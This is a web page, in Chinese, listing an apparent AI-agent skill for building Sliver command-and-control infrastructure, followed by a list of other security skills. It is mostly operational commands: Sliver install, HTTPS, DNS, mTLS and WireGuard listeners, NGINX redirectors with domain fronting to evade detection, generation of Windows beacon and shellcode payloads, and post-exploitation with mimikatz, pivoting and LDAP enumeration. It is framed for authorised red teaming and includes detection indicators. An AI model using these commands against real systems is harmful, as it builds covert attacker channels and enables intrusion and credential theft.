Communitygithub.com

使用 Sliver 框架建構 C2 基礎設施

部署並強化 BishopFox 開發的 Sliver C2 團隊伺服器,包含監聽器配置、重定向器設置、酬載生成及後滲透操作。

使用 Sliver 框架建構 C2 基礎設施 是什麼?

此技能提供使用 Sliver 框架建構與強化命令與控制(C2)基礎設施的完整指引。Sliver 是由 BishopFox 開發的開源跨平台對手模擬框架,支援多種 C2 協定(mTLS、HTTP/S、DNS、WireGuard),並提供信標(非同步)與工作階段(互動)兩種模式。技能涵蓋從團隊伺服器部署、監聽器配置、NGINX 或 Apache 重定向器設定、Cloudflare 網域前端混淆,到酬載生成與後滲透操作(如執行 .NET 組件、側載 DLL、設定跳板)的完整流程。此技能適用於紅隊演練、安全評估與合規驗證,幫助使用者建立具備操作彈性且能規避偵測的 C2 通道,並提供 MITRE ATT&CK 戰術對應與偵測指標參考。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

使用 Sliver 框架建構 C2 基礎設施 是做什麼的?

概述

Sliver 是由 BishopFox 開發的開放原始碼跨平台對手模擬框架,以 Go 語言撰寫。它為紅隊提供酬載生成、多協定 C2 通道(mTLS、HTTP/S、DNS、WireGuard)、多操作員支援以及廣泛的後滲透能力。Sliver 支援信標(非同步)與工作階段(互動式)模式,適用於長期潛伏操作與互動式利用。一套妥善架構的 Sliver 基礎設施會使用重定向器、網域前端與 HTTPS 憑證來維持操作韌性並避免偵測。

使用時機

  • 當需要部署或配置使用 Sliver 框架建構 C2 基礎設施的能力於您的環境中時
  • 當需要建立符合合規要求的安全控制措施時
  • 當需要建構或改善此領域的安全架構時
  • 當需要執行需要此實作的安全評估時

先決條件

  • 熟悉紅隊概念與工具
  • 具備用於安全執行的測試或實驗室環境
  • 已安裝 Python 3.8+ 及所需相依套件
  • 已取得任何測試活動的適當授權

目標

  • 在強化的雲端基礎設施上部署 Sliver 團隊伺服器
  • 配置 HTTPS、mTLS、DNS 與 WireGuard 監聽器
  • 為目標平台生成酬載(信標與工作階段)
  • 在酬載與團隊伺服器之間設置 NGINX 或 Apache 重定向器
  • 實作 Cloudflare 或基於 CDN 的網域前端以混淆流量
  • 配置基於憑證驗證的多操作員存取
  • 建立 C2 通訊的操作安全控制措施

MITRE ATT&CK 對應

  • T1071.001 - 應用層協定:網頁協定
  • T1071.004 - 應用層協定:DNS
  • T1573.002 - 加密通道:非對稱加密
  • T1090.002 - 代理:外部代理(重定向器)
  • T1105 - 進入工具轉移
  • T1132.001 - 資料編碼:標準編碼
  • T1572 - 協定隧道

工作流程

階段 1:團隊伺服器部署

  1. 為團隊伺服器佈建一台 VPS(例如 DigitalOcean、Linode、AWS EC2)
  2. 強化作業系統:停用 SSH 密碼驗證、配置 UFW/iptables、安裝 fail2ban
  3. 使用官方安裝腳本安裝 Sliver:
    curl https://sliver.sh/install | sudo bash
    
  4. 啟動 Sliver 伺服器常駐程式:
    systemctl start sliver
    # 或互動式執行
    sliver-server
    
  5. 為團隊成員產生操作員配置文件:
    new-operator --name operator1 --lhost <team-server-ip>
    

階段 2:監聽器配置

  1. 配置使用合法 SSL 憑證的 HTTPS 監聽器:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. 配置用於備援 C2 的 DNS 監聽器:
    dns --domains c2dns.example.com --lport 53
    
  3. 配置用於高安全性工作階段的 mTLS 監聽器:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. 配置用於隧道存取的 WireGuard 監聽器:
    wg --lport 51820
    

階段 3:重定向器設定

  1. 部署一台獨立的 VPS 作為重定向器(位於目標與團隊伺服器之間)
  2. 安裝並配置 NGINX 作為反向代理:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. 在團隊伺服器上配置 iptables 規則,僅接受來自重定向器的連線:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. 可選擇在重定向器前方設定 Cloudflare 作為 CDN 層以實現網域前端

階段 4:酬載生成

  1. 生成 HTTPS 信標酬載:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. 為受限網路生成 DNS 信標:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. 生成用於注入的 shellcode 酬載:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. 配置信標抖動與回呼間隔:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

階段 5:後滲透操作

  1. 與活躍的信標/工作階段互動:
    beacons        # 列出活躍信標
    use <beacon-id> # 與信標互動
    
  2. 執行後滲透模組:
    ps              # 程序列表
    netstat         # 網路連線
    execute-assembly /path/to/Seatbelt.exe -group=all  # 執行 .NET 組件
    sideload /path/to/mimikatz.dll  # 側載 DLL
    
  3. 設定用於內部網路存取的跳板:
    pivots tcp --bind 0.0.0.0:9898  # 在受入侵主機上建立跳板監聽器
    
  4. 使用 BOF(Beacon Object Files)進行記憶體內執行:
    armory install sa-ldapsearch  # 從 Armory 安裝
    sa-ldapsearch -- "(objectClass=user)"  # 執行 BOF
    

工具與資源

工具用途平台
Sliver ServerC2 團隊伺服器與酬載管理Linux/macOS/Windows
Sliver Client團隊成員的操作員控制台跨平台
NGINX重定向器與反向代理Linux
CertbotLet's Encrypt SSL 憑證生成Linux
CloudflareCDN 與網域前端雲端
ArmorySliver 擴充/BOF 套件管理員內建

偵測特徵

指標偵測方法
預設 Sliver HTTP 標頭網路流量異常 User-Agent 字串分析
非標準埠的 mTLS 流量防火牆記錄中不正常埠的傳出連線
高熵值的 DNS TXT 記錄查詢DNS 記錄分析以偵測編碼後的 C2 流量
連接埠 51820 上的 WireGuard UDP 流量網路流量分析中 WireGuard 交握模式
Sliver 酬載檔案雜湊值EDR/AV 特徵比對已知 Sliver 樣本

驗證標準

  • 團隊伺服器已部署並以防火牆規則強化
  • HTTPS 監聽器已配置有效 SSL 憑證
  • DNS 監聽器已配置作為備援 C2 通道
  • 已在目標與團隊伺服器之間部署至少一個重定向器
  • 已配置使用唯一憑證的多操作員存取
  • 已為目標作業系統生成酬載
  • 已為隱蔽目的配置信標回呼間隔與抖動
  • 已測試後滲透模組(程序列表、.NET 組件執行)
  • 已驗證用於內部網路存取的跳板功能
  • 所有 C2 流量皆已加密並經由重定向器傳輸

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相關技能